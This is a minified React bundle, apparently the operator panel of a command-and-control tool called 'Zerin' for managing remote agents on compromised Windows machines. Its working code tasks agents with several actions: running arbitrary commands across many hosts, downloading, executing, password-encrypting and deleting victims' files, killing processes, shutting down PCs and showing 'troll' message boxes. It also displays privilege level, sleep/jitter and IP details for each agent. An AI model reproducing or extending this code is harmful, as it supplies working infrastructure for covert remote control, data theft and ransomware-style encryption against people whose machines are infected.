text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1.5",children:"Arguments (optional)"}),a.jsx("input",{type:"text",value:K,onChange:E=>Z(E.target.value),placeholder:"--flag value",className:`w-full bg-zerin-panel border border-zerin-panel-border px-3 py-2\r + text-sm text-zerin-text font-mono placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 transition-colors`})]}),a.jsxs("button",{onClick:async()=>{if(H.trim()){de(!0),ye(null);try{const E=[H.trim()];K.trim()&&K.trim().split(/\s+/).forEach(ke=>E.push(ke));const J=(await Promise.allSettled([...I].map(ke=>Me(ke,{command:"execute",args:E})))).filter(ke=>ke.status==="fulfilled").length,xe=I.size;ye(J===xe?{text:`Sent to ${xe} agent${xe!==1?"s":""}`,type:"ok"}:{text:`Sent to ${J}/${xe} agents (${xe-J} failed)`,type:J>0?"ok":"err"})}catch(E){ye({text:E instanceof Error?E.message:"Failed",type:"err"})}finally{de(!1)}}},disabled:oe||!H.trim(),className:`w-full flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-orange-500 hover:bg-orange-600\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[oe?a.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute",I.size>1?` (${I.size})`:""]})]})]})}),a.jsx(vA,{x:h.x,y:h.y,visible:h.visible,onAction:U,onClose:Q,agentStatus:g==null?void 0:g.status,agentName:g==null?void 0:g.hostname}),a.jsx(M5,{agentId:(w==null?void 0:w.id)??"",agentHostname:(w==null?void 0:w.hostname)??"",open:w!==null,onClose:()=>j(null)}),a.jsx(yA,{open:v!==null,onClose:()=>b(null),title:(v==null?void 0:v.hostname)??"Agent Details",children:v&&a.jsx(VU,{agent:v,onNavigate:()=>e(`/agents/${v.id}`),onTagsChange:async E=>{const ce=v.tags??[];n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:E}:xe)),b(J=>J&&{...J,tags:E});try{await JE(v.id,E)}catch{n(J=>J.map(xe=>xe.id===v.id?{...xe,tags:ce}:xe)),b(J=>J&&{...J,tags:ce}),o("Failed to update tags")}}})}),N&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>z(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-sm w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsxs("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-2",children:[N.command==="restart"?"Restart":"Shutdown"," PC"]}),a.jsxs("p",{className:"text-zerin-text-muted text-sm mb-6",children:["Are you sure you want to ",N.command," ",a.jsx("span",{className:"text-zerin-text font-medium",children:N.hostname}),"?",N.command==="shutdown"&&" The agent will go offline."]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>z(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{Me(N.agentId,{command:N.command}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),z(null)},className:`px-4 py-2 text-sm font-medium text-white transition-colors ${N.command==="shutdown"?"bg-zerin-danger hover:bg-red-600":"bg-zerin-accent hover:bg-zerin-accent-hover"}`,children:N.command==="restart"?"Restart":"Shutdown"})]})]})}),k&&a.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/60",onClick:()=>S(null),children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 max-w-md w-full mx-4",onClick:E=>E.stopPropagation(),children:[a.jsx("h3",{className:"font-display text-lg font-semibold text-zerin-text mb-1",children:"Send Message Box"}),a.jsxs("p",{className:"text-zerin-text-muted text-xs mb-4",children:["Target: ",a.jsx("span",{className:"text-zerin-text font-medium",children:k.hostname})]}),a.jsxs("div",{className:"space-y-3 mb-6",children:[a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Title"}),a.jsx("input",{type:"text",value:A,onChange:E=>_(E.target.value),placeholder:"Window title...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),a.jsxs("div",{children:[a.jsx("label",{className:"block text-zerin-text-muted text-xs mb-1",children:"Message"}),a.jsx("textarea",{value:O,onChange:E=>P(E.target.value),placeholder:"Message text...",rows:3,className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-1.5\r + text-sm text-zerin-text placeholder-zerin-text-muted resize-none\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]})]}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>S(null),className:`px-4 py-2 text-sm font-medium text-zerin-text-dim\r + hover:text-zerin-text bg-zerin-panel-hover hover:bg-zerin-bg\r + transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:()=>{O.trim()&&Me(k.agentId,{command:"troll_msgbox",args:[O,A||"Zerin"]}).catch(E=>{o(`Failed to submit task: ${E instanceof Error?E.message:"unknown error"}`)}),S(null)},disabled:!O.trim(),className:`px-4 py-2 text-sm font-medium text-white bg-zerin-accent\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors`,children:"Send"})]})]})})]})}function rc({label:e,value:t,active:n,onClick:r}){return a.jsxs("button",{onClick:r,className:`bg-zerin-panel border p-4 text-left transition-all duration-150 hover:bg-zerin-panel-hover ${n?"border-l-2 border-l-zerin-accent border-t-zerin-panel-border border-r-zerin-panel-border border-b-zerin-panel-border":"border-zerin-panel-border"}`,children:[a.jsx("p",{className:"text-xs text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),a.jsx("p",{className:"text-2xl font-display font-bold text-zerin-text",children:t})]})}function UU({column:e,sort:t}){return t.column!==e?a.jsx("svg",{className:"h-3 w-3 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M7 16V4m0 0L3 8m4-4l4 4m6 0v12m0 0l4-4m-4 4l-4-4"})}):t.direction==="asc"?a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"h-3 w-3 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})})}function VU({agent:e,onNavigate:t,onTagsChange:n}){return a.jsxs("div",{className:"space-y-6",children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(hd,{status:e.status,size:"lg",showLabel:!0}),e.elevated&&a.jsx("span",{className:"inline-flex items-center bg-zerin-panel-hover px-2 py-1 text-xs font-semibold uppercase tracking-wider text-zerin-text-dim",children:"Elevated"})]}),a.jsxs("div",{className:"grid grid-cols-2 gap-x-4 gap-y-4",children:[a.jsx(jn,{label:"Hostname",value:e.hostname}),a.jsx(jn,{label:"Username",value:e.username}),a.jsx(jn,{label:"OS",value:Lo(e.os)}),a.jsx(jn,{label:"Architecture",value:e.arch}),a.jsx(jn,{label:"PID",value:String(e.pid),mono:!0}),a.jsx(jn,{label:"Integrity",value:e.integrity}),a.jsx(jn,{label:"Internal IP",value:e.internal_ip,mono:!0}),a.jsx(jn,{label:"External IP",value:e.external_ip,mono:!0}),a.jsx(jn,{label:"Sleep / Jitter",value:T5(e.sleep_interval,e.jitter),mono:!0}),a.jsx(jn,{label:"Agent ID",value:to(e.id),mono:!0}),a.jsx(jn,{label:"First Seen",value:Mo(e.first_seen)}),a.jsx(jn,{label:"Last Seen",value:Jc(e.last_seen)})]}),a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-1.5",children:"Tags"}),a.jsx(DU,{tags:e.tags??[],onChange:n})]}),a.jsx("div",{className:"border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:t,className:"w-full flex items-center justify-center gap-2 bg-zerin-accent px-4 py-2.5 text-sm font-medium text-white transition-colors hover:bg-zerin-accent-hover",children:["View Full Details",a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 7l5 5m0 0l-5 5m5-5H6"})})]})]})}function jn({label:e,value:t,mono:n=!1}){return a.jsxs("div",{children:[a.jsx("p",{className:"text-zerin-text-muted text-xs mb-0.5",children:e}),a.jsx("p",{className:`text-zerin-text text-sm ${n?"font-mono":""}`,children:t})]})}const HU={command:"text-zerin-accent",output:"text-zerin-text",error:"text-zerin-danger",system:"text-zerin-text-muted"},KU={command:"$ ",output:" ",error:"ERR ",system:"SYS "},YU={command:"text-zerin-accent",output:"text-zerin-text-muted",error:"text-zerin-danger",system:"text-zerin-text-muted opacity-50"};function qU({lines:e,className:t=""}){const n=m.useRef(null),r=m.useRef(null),i=m.useRef(0);return m.useEffect(()=>{var s;e.length>i.current&&((s=r.current)==null||s.scrollIntoView({behavior:"smooth"})),i.current=e.length},[e]),a.jsxs("div",{className:` + bg-zerin-bg border border-zerin-panel-border + font-mono text-sm overflow-hidden flex flex-col + ${t} + `,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-panel/60 select-none",children:[a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent"}),a.jsx("span",{className:"text-zerin-text-dim text-xs font-medium tracking-wide",children:"Terminal"})]}),a.jsxs("div",{ref:n,className:"flex-1 p-4 space-y-1 min-h-[200px] overflow-auto custom-scrollbar",children:[e.length===0&&a.jsxs("div",{className:"text-zerin-text-muted text-xs",children:[a.jsx("span",{className:"opacity-50",children:"SYS "}),"Awaiting input. Type a command to begin."]}),e.map((s,o)=>a.jsxs("div",{className:`${HU[s.type]} whitespace-pre-wrap break-all leading-relaxed`,children:[s.timestamp&&a.jsx("span",{className:"text-zerin-text-muted opacity-30 text-[10px] mr-3 select-none",children:s.timestamp}),a.jsx("span",{className:`${YU[s.type]} select-none`,children:KU[s.type]}),s.content]},o)),a.jsx("div",{ref:r})]})]})}function GU({agentId:e,agentStatus:t}){const[n,r]=m.useState("C:\\"),[i,s]=m.useState([]),[o,l]=m.useState(!1),[c,u]=m.useState(""),[d,f]=m.useState(!1),[p,h]=m.useState(null),[x,g]=m.useState(null),[y,v]=m.useState(null),[b,w]=m.useState(""),[j,N]=m.useState(""),z=t==="dead",k=m.useRef(null),S=m.useRef(null),A=m.useRef(null);m.useEffect(()=>()=>{k.current&&clearInterval(k.current)},[]),m.useEffect(()=>{if(!p)return;const K=oe=>{oe.button!==2&&S.current&&!S.current.contains(oe.target)&&h(null)},Z=oe=>{oe.key==="Escape"&&h(null)};return document.addEventListener("mousedown",K),document.addEventListener("keydown",Z),()=>{document.removeEventListener("mousedown",K),document.removeEventListener("keydown",Z)}},[p]),m.useEffect(()=>{y&&setTimeout(()=>{var K;return(K=A.current)==null?void 0:K.focus()},50)},[y]);const _=m.useCallback(K=>new Promise((Z,oe)=>{let de=0;const be=30,ye=setInterval(async()=>{var G;de++;try{const C=(G=(await Xn(e)).results)==null?void 0:G.find(q=>q.task_id===K);C?(clearInterval(ye),C.error?oe(new Error(C.error)):Z({output:C.output,data:C.data})):de>=be&&(clearInterval(ye),oe(new Error("Timed out waiting for agent response")))}catch{}},2e3)}),[e]),O=m.useCallback(async K=>{if(!z){l(!0),u(""),s([]),k.current&&(clearInterval(k.current),k.current=null);try{const{task_id:Z}=await Me(e,{command:"ls",args:[K]});r(K),f(!0);let oe=0;const de=30;k.current=setInterval(async()=>{var be;oe++;try{const G=(be=(await Xn(e)).results)==null?void 0:be.find(te=>te.task_id===Z);if(G){if(k.current&&clearInterval(k.current),k.current=null,l(!1),G.error){u(G.error);return}if(G.output){const te=G.output.split(` +`).slice(2),C=[];for(const q of te){if(q.length<35)continue;const ne=q.substring(0,12).trim(),B=q.substring(13,33).trim();let le=q.substring(34).trim();if(!le||le==="."||le==="..")continue;const we=ne==="";(le.endsWith("/")||le.endsWith("\\"))&&(le=le.slice(0,-1)),C.push({name:le,isDir:we,size:we?void 0:ne,modified:B})}s(C)}}else oe>=de&&(k.current&&clearInterval(k.current),k.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(Z){u(Z instanceof Error?Z.message:"Failed to send command"),l(!1)}}},[e,z]),P=K=>{if(K.name.includes("..")||K.name.includes("/")||K.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+Z+K.name},I=K=>{N(K),setTimeout(()=>N(""),5e3)},Y=async K=>{h(null),g("download"),u(""),N("");try{const Z=P(K),{task_id:oe}=await Me(e,{command:"download",args:[Z]}),de=await _(oe);if(de.data){let be;try{be=atob(de.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const ye=new Uint8Array(be.length);for(let q=0;q{h(null),g("delete"),u(""),N("");try{const Z=P(K),{task_id:oe}=await Me(e,{command:"delete",args:[Z]});await _(oe),I(`Deleted ${K.name}`),O(n)}catch(Z){u(Z instanceof Error?Z.message:"Delete failed")}finally{g(null)}},M=async(K,Z,oe)=>{v(null),w(""),g(K),u(""),N("");try{const de=P(Z),{task_id:be}=await Me(e,{command:K,args:[de,oe]}),ye=await _(be);I(ye.output||`${K==="encrypt"?"Encrypted":"Decrypted"} ${Z.name}`),O(n)}catch(de){u(de instanceof Error?de.message:`${K} failed`)}finally{g(null)}},W=async K=>{h(null),g("execute"),u(""),N("");try{const Z=P(K),{task_id:oe}=await Me(e,{command:"execute",args:[Z]}),de=await _(oe);I(de.output||`Executed ${K.name}`)}catch(Z){u(Z instanceof Error?Z.message:"Execute failed")}finally{g(null)}},$=(K,Z)=>{K.preventDefault(),K.stopPropagation();const oe=180,de=220;let be=K.clientX,ye=K.clientY;be+oe>window.innerWidth&&(be=window.innerWidth-oe-8),ye+de>window.innerHeight&&(ye=window.innerHeight-de-8),h({x:Math.max(4,be),y:Math.max(4,ye),entry:Z})},H=()=>{!y||!b.trim()||M(y.action,y.entry,b)},F=n.split(/[/\\]/).filter(Boolean);return a.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:K=>{K.preventDefault(),h(null)},children:[a.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[a.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:z,children:"root"}),F.map((K,Z)=>a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:()=>{const oe=F.slice(0,Z+1).join("\\")+"\\";O(oe)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:z,children:K})]},Z))]}),a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:()=>O(n),disabled:z||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),z&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&a.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&a.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(K=>a.jsxs("button",{onClick:()=>{if(K.isDir){const Z=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+Z+K.name)}},onContextMenu:Z=>$(Z,K),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-sm`,children:[a.jsx("span",{className:"text-zerin-text-muted",children:K.isDir?a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):a.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),a.jsx("span",{className:K.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:K.name})]},K.name))]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),p&&a.jsxs("div",{ref:S,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:p.x,top:p.y},children:[a.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:a.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:p.entry.name})}),a.jsxs("button",{onClick:()=>Y(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),a.jsxs("button",{onClick:()=>W(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),a.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:p.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),a.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),a.jsxs("button",{onClick:()=>D(p.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r + text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:K=>K.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:A,type:"password",value:b,onChange:K=>w(K.target.value),onKeyDown:K=>{K.key==="Enter"&&H(),K.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:H,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function XU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"ps"});u(!0);let k=0;const S=30;v.current=setInterval(async()=>{var A;k++;try{const O=(A=(await Xn(e)).results)==null?void 0:A.find(P=>P.task_id===z);if(O){if(v.current&&clearInterval(v.current),v.current=null,s(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(` +`).filter(M=>M.trim()),I=[];for(const M of P){const W=M.trim().split(/\s+/);if(W.length>=2){const $=parseInt(W[0],10);if(!isNaN($)){const H=W.length>=3?parseInt(W[1],10):0,F=!isNaN(H)&&W.length>=3,K=F?W.length>=4&&W.slice(3).join(" ")||W[2]:W.slice(1).join(" "),Z=F&&W.length>=4?W[2]:void 0;I.push({pid:$,ppid:F?H:0,name:K,user:Z,children:[]})}}}const Y=new Map;I.forEach(M=>Y.set(M.pid,M));const D=[];for(const M of I){const W=Y.get(M.ppid);W&&W!==M?W.children.push(M):D.push(M)}r(D.length>0?D:I.map(M=>({...M,children:[]})))}}else k>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]),w=(z,k)=>{if(!k)return z;const S=k.toLowerCase();return z.filter(A=>{const _=A.name.toLowerCase().includes(S)||String(A.pid).includes(S),O=w(A.children,k).length>0;return _||O})},j=m.useCallback(async z=>{h(z),g(null);try{await Me(e,{command:"kill",args:[String(z)]}),setTimeout(b,2e3)}catch(k){l(k instanceof Error?k.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] 